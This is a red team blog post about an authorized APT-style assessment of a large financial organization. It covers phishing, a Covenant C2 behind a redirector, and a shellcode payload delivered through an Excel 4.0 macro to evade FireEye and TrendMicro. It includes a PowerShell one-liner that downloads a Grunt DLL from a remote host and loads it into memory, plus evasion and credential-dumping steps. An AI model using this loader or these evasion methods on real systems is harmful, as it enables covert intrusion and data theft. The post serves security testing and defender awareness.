APT: Evading FireEye and TrendMicro

To intrude a stock exchange without getting caught

Flashback

Back in November 2019 I was informed that I would be heading an Advanced Persistent Threat (APT) assessment. The target is very big shot. They have invested large sum of amount to buy security products. So my job is to test the implementation of the security products and the SOC monitoring.

The assessment was planned to start by December 2019. I started to prepare my weapons meanwhile I started recon. I was alerted that the organization have FireEye NX and TrendMicro in place. I worried too much about FireEye. Then I started to pick components, started to plan and finally fixed up my architecture.

In this article you will not find things related to OSINT; You will find glimpse related to Red Team architecture for APT and FUD Payload.

Architecture

I planned everything similar to most red team infrastructure. But worked more on the payload delivery and data exfiltration part. Here are the main components,

  1. Gophish

  2. SMTP mail relay (Spoofed email)

  3. Google Business Email (email from similar looking domain)

  4. Redirector

  5. C2 framework

Sending spoofed emails are tricky but I managed to send them. Here I'm gonna focus more on the redirector, C2 and payload obfuscation.

Redirector

Redirector is simply a reverse proxy sitting between C2 implants and C2 server

To survive from strict network monitoring I need to choose a covert channel which blends more with target organization's. I chose to do conversation over HTTPS in beaconing style with very long polling time. I increased polling time to hours when I'm not working or off the office hours and decreased it when I'm working. Also I classified my traffic as financial site's traffic. Any traffic going towards my C2, should pass through the redirector. The end goal of the redirector to protect your C2 environment and also to have more control over the traffic. I used apache2 server mod_rewrite, proxy_http modules to do the job. I suggest reading this article written by Jeff Dimmock to understand basic concept of redirector and mod_rewrite. Using mod_rewrite is little painful. So I'm planning to write small intelligent python script make this process less painful.

Domain reputation matters

C2 Framework

For this engagement I used Covenant C2 Framework. Covenant is a C# based C2 framework. At the time of the assessment Covenant was new and had less catch rate. It has implants a.k.a Grunts to run on compromised hosts. Typically implants communicate to C2 server over a covert channel. That may be plain TCP/UDP, DNS, HTTP, SMB and so on. An attacker can use any kind of covert channel to exfiltrate data without raising too much of noise and evade detection. For this assessment I choose to use HTTPS as channel with long polling time a.k.a beacon as described above. Covenant Grunts support HTTP, SMB with beaconing style. It's too cool with cold bugs. But I choose to go with that.

Tip: Blend with environment traffic; Make less Noise :D

Payload in C#

Writing a payload in C# is too easy also detection too. But if we managed to load that into memory, detection possibilities are pretty low. We will figure out evasion part later. Now I'll explain you the reason of choosing C#.

  1. Easy as it's similar to Powershell

  2. It's .NET :P

Here we have both Powershell & C# version to load grunt DLL from a remote HTTP server.

[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://172.16.49.146/grunt.dll"));
[GruntStager.GruntStager]::Main("o");

Both versions make use of System.Net.WebClient to download payload and System.Reflection.Assembly to load assembly into memory. Due to the nature of C#, it's little bit bigger than Powershell version. Here the Grunt.dllwon't touch disk. The compiled C# version is tiny but easy to detect. Using basic static analysis a defender can find out this tiny executable is doing something malicious.

C# payloads are easy to write and easy to catch? We can obfuscate the IL and possibly evade detection or look for a way to Live Off The Land :)

The plain C# executable was fully undetectable in antiscan.me with little gigs. Surely it won't be the same with modern EDR solutions. Recently Defender ATP caught this reflective loading in runtime (Of course with the help of AMSI).

Memory injection

Obfuscating our payload might fool some generic AV. But still EDR solutions will detect them using various metrics. So I decided to go for memory injection type payloads.

Memory injection helps to

So here is the plan

  1. Convert payload.exeinto shellcode (Donut <3)

  2. Inject shellcode into memory

  3. Then Stage from payload.exe

Donut is a lovely tool that Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters

Q: Okay, How to inject shellcode? Are we gonna write a injector/loader which will spawn a new non-standard process?

A: No, Never; Not a macrodropper again :(

Welcome Excel 4.0 Macro!

Excel 4.0 Macro a.k.a XLM macro is a type of supported only in Excel. It's very much different from VBA macro which is newer than XLM macro. Yeah, XLM macro is very old. Stan Hegt has wrote an article about this EVIL macro here. Also a reference document for XLM macro can be found here.

VBA engine is integrated with AMSI as it's wildly used by malware authors. Some organizations set policy to drop files with VBA p-code too. So choosing XLM macro is very much better.

In XLM macro we can access Win32 API using REGISTER and CALL routines. So we can invoke required functions such as VirtualAlloc, WriteProcessMemory, CreateThread and do memory injection.

An unsophisticated malware can invoke executable like the above example. But We are not gonna invoke a LoLBin to Live Off The land. Instead of gonna do memory injection with multi stagged approach. Let me brief you the approach :)

The Plan & Test Run

  1. XLM Macro

  2. Stage 0 - Shellcode of C# Reflective Loader (Thanks to Donut)

  3. Stage 1 - Donut staging module

  4. Stage 2 - Covenant 1st stagger (grunt.exe)

  5. Stage 3 - Covenant 2nd stagger

I converted Reflective C# loader into two staged payload. The shellcode will load Grunt Implant using System.Reflection.Assembly.

The next step is to place this Shellcode into XLM macro. It should be null-free shellcode. So I used msfvenom and encoded the payload with x86/alpha_mixed. I casted few non printable characters using CHAR() formula and left printable characters as it is. This decision decreased the final size of the Excel file by ~65%.

For x64, alpha_mixed was not available. So I used x64/xor_dynamic

For test run, I replaced C2 client (Grunt) with message box and it worked like a charm :D

The Execution

As expected I got running Grunt without any issues. But we need to check Grunt modules also.

Basic commands and modules in Grunt ran successfully. So it's time to do the analysis. Let's see the what's the change in Excel memory space and whether Excel has spawned any additional child process

Don't forget SandBox checks; implement at every stage if possible!

Analysis

You should be capable of analyzing & defending your own payload to become successful

Though this technique works well, it might leave some clues to the defender. We must analyze them before the defender does.

CLR Runtime

CLR is run-time environment in the .NET Framework; In simple words, without CLR a C# binary can't run.

As the generated shellcode is from C# binary, it needs CLR run-time to function. Because of that Donut generated shellcode (22Kb) which consist of basic CLR run-time for a 5Kb binary!

As Excel don't need CLR run-time, having CLR run-time in Excel memory space is something malicious.

Tip: To avoid detection

I tried using meterpreter shellcode and it was working fine. But that can't be used in long term assessments. So if you have Cobalt Strike, you can use Cobalt Strike's raw shellcode.

Network Activity

Usually Excel communicates with some Microsoft domains and transmit data such as usage statistics, subscription status, MS account activity..,etc. But connecting to some random domain is something malicious. As we have long polling time it would be missed usually. But it's also a good IOC

Tip: To avoid detection

Parent-Child relationship

Though this technique by default don't create any additional child process, few modules in Covenant such as ShellCmd, ShellCmdRunAs will spawn a child process if tasked by the operator.

Tip: To avoid detection

Climax: PWN all

I was very happy. Soon after the 1st guy another 2 guys enabled Macros. So now I got 3 Grunts. I started the enumeration. I got a way to escalate privilege by replacing a service binary in a IT admin's PC. I had to wait for the confirmation to replace the binary. It might be a important binary. So I waited. Meanwhile I dumped some saved passwords from the browsers which led me to some cloud account and much more sensitive data.

It's important to get access to sensitive data rather than gaining access to Domain Controller.

My friend said "Merry Christmas" and went home. I too went home. This assessment brought happiness to my routine mechanical life for sometime. Then I moved to other projects (Freelance & Full-Time). I thought to write my experience as a blog and it finally happened now.

Conclusion

The organization had security awareness and placed FireEye NX and TrendMicro. They are good solutions. But they are not bullet proof.

Ferrari is always Ferrari. You need a Ferrari driver; not a Tractor driver. Also Ferrari can met with an accident

An efficient internal Security Team is needed to configure, manage and maintain. Assessments should be conducted periodically to ensure the security and the effectiveness of SOC. Raising Employee awareness is the key in defeating phishing campaigns.

I thank my friends Jebaraj and Vignesh C (BlueBerry) for all the support and tips.

Thanks for reading this long article with patience. Do reach out to me in LinkedIn or Twitter.

Last updated